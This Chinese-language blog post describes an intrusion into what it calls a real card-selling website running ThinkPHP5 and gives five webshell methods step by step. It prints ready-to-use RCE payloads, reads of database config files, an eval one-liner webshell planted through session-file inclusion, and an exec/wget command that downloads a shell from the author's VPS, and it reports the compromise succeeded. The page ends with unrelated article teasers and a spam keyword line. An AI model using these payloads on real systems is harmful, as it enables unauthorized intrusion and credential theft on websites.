<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    一次實戰中對tp5網站getshell方式的測試

    VSole2021-10-28 07:37:08

    0x01 前言

    之前接觸tp5的站比較少,只知道利用RCE漏洞getshell的方式。在最近對一個發卡平臺滲透的過程中,由于php版本限制,無法直接使用RCE的payload拿shell,于是結合該網站盡可能多的測試一下tp5+php7.1環境下的getshell方法。

    0x02 正文

    拿到站點后,訪問首頁如下

    測試中,發現是thinkphp的站,報錯如下

    不過看不出來具體版本,不確定是否存在RCE,于是用exp打一下試試

    _method=__construct&method=get&filter=call_user_func&get[]=phpinfo
    

    發現執行成功了,disable_function禁用了挺多函數

    一般php版本低于7.1的情況下,接下來直接用exp寫shell就可以了

    方法一

    直接用下面的exp寫shell

    s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert
    

    但是這個exp中使用了assert,而上面看到php版本是7.1.33,這個版本是已經沒辦法使用assert了,所以這里這個方法是不能用的

    方法二

    上面的exp沒辦法寫shell,但是phpinfo是執行了的,那么RCE是存在的。于是想到可以通過讀取文件讀取數據庫的賬號密碼,然后找到phpmyadmin,就可以通過數據庫寫shell。

    于是首先通過phpinfo中的信息找到網站根目錄,再使用scandir函數遍歷目錄,找到數據庫配置文件

    _method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路徑
    

    然后通過highlight_file函數讀取文件

    _method=__construct&filter[]=highlight_file&method=GET&get[]=讀取的文件路徑
    

    拿到數據庫信息后,找看看是否存在phpmyadmin,最終發現沒有,于是這種方法也失敗。

    在論壇搜索tp5的getshell方法,發現不少師傅說到可以用日志包含或者session包含的方法,但是之前沒接觸過,不知道具體的,于是搜索嘗試一下。

    方法三

    嘗試日志包含,首先寫shell進日志

    _method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>
    

    然后通過日志包含來getshell

    失敗了,這里日志包含的方法也不可用

    方法四

    嘗試使用session包含的方法來getshell,首先通過設置session會話并傳入一句話木馬

    _method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1
    

    然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名為sess_sessionid(這個sessionod在Cookie里面)

    _method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();
    

    成功執行,接下來通過蟻劍連接即可

    成功getshell

    www權限

    方法五

    上面拿到了shell,但是我還是再嘗試了是否還有其他方法能getshell的。看到一篇文章,是由于disable_function中沒有禁用exec,然后利用exec從vps下載shell文件。

    于是我仔細看了下disable_function中禁用的函數,巧了,發現也沒有禁用exec,那么試一下。

    首先在vps上創建一個test.php,并用python開放一個端口


    python -m SimpleHTTPServer 8888
    

    從vps上下載文件

    s=wget vps/test.php&_method=__construct&method=get&filter[]=exec
    

    成功下載到目標機器上

    0x03 最后

    實戰是比較好的學習方法,通過對這個戰點的滲透,才知道tp5的站有挺多種方法的,也學到了之前沒有使用過的session包含。本次實戰不僅僅為了getshell,也是為了學習利用tp5的不同的getshell方法。

    shell網站測試
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    期間用了差不多兩個周末,期間斷斷續續,整篇沒啥奇淫技巧,大佬略過。由于當時較晚,第一周測試到此結束,主要利用API接口的未授權任意文件下載,獲得敏感信息,未獲取到shell,但還是向朋友炫耀了成果。
    提權需要的東西有點兒多,筆記里出現的工具不建議在百度上下載。如果支持aspx,可以上傳aspx,通過aspx大馬,直接調用默認cmd掃描掃出了其他人的大馬可以嘗試用?
    概述滲透測試的目標可以是單個主機,也可以是整個內網。在實戰中,比如最近如火如荼的HW行動,更多的是對一個目標的內網進行滲透,爭取獲得所有有價值的資產。完整的內網滲透涉及的步驟如下圖所示。快速橫向移動到到內網中的核心資產,獲取核心敏感數據和權限,完成一次疼痛的打擊。Step 1 信息收集完成邊界突破的第一步是目標對象資產的信息收集。這些其實是為了找到脆弱資產進行攻擊,畢竟“柿子挑軟的捏”。
    在實戰中,比如最近如火如荼的HW行動,更多的是對一個目標的內網進行滲透,爭取獲得所有有價值的資產。完整的內網滲透涉及的步驟如下圖所示。快速橫向移動到到內網中的核心資產,獲取核心敏感數據和權限,完成一次疼痛的打擊。Step 1 信息收集完成邊界突破的第一步是目標對象資產的信息收集。這些其實是為了找到脆弱資產進行攻擊,畢竟“柿子挑軟的捏”。
    滲透測試的目標可以是單個主機,也可以是整個內網。在實戰中,比如最近如火如荼的HW行動,更多的是對一個目標的內網進行滲透,爭取獲得所有有價值的資產。完整的內網滲透涉及的步驟如下圖所示。快速橫向移動到到內網中的核心資產,獲取核心敏感數據和權限,完成一次疼痛的打擊。Step 1 信息收集完成邊界突破的第一步是目標對象資產的信息收集。這些其實是為了找到脆弱資產進行攻擊,畢竟“柿子挑軟的捏”。
    蟻劍的小tip
    2022-05-26 14:49:12
    STATEMENT聲明由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类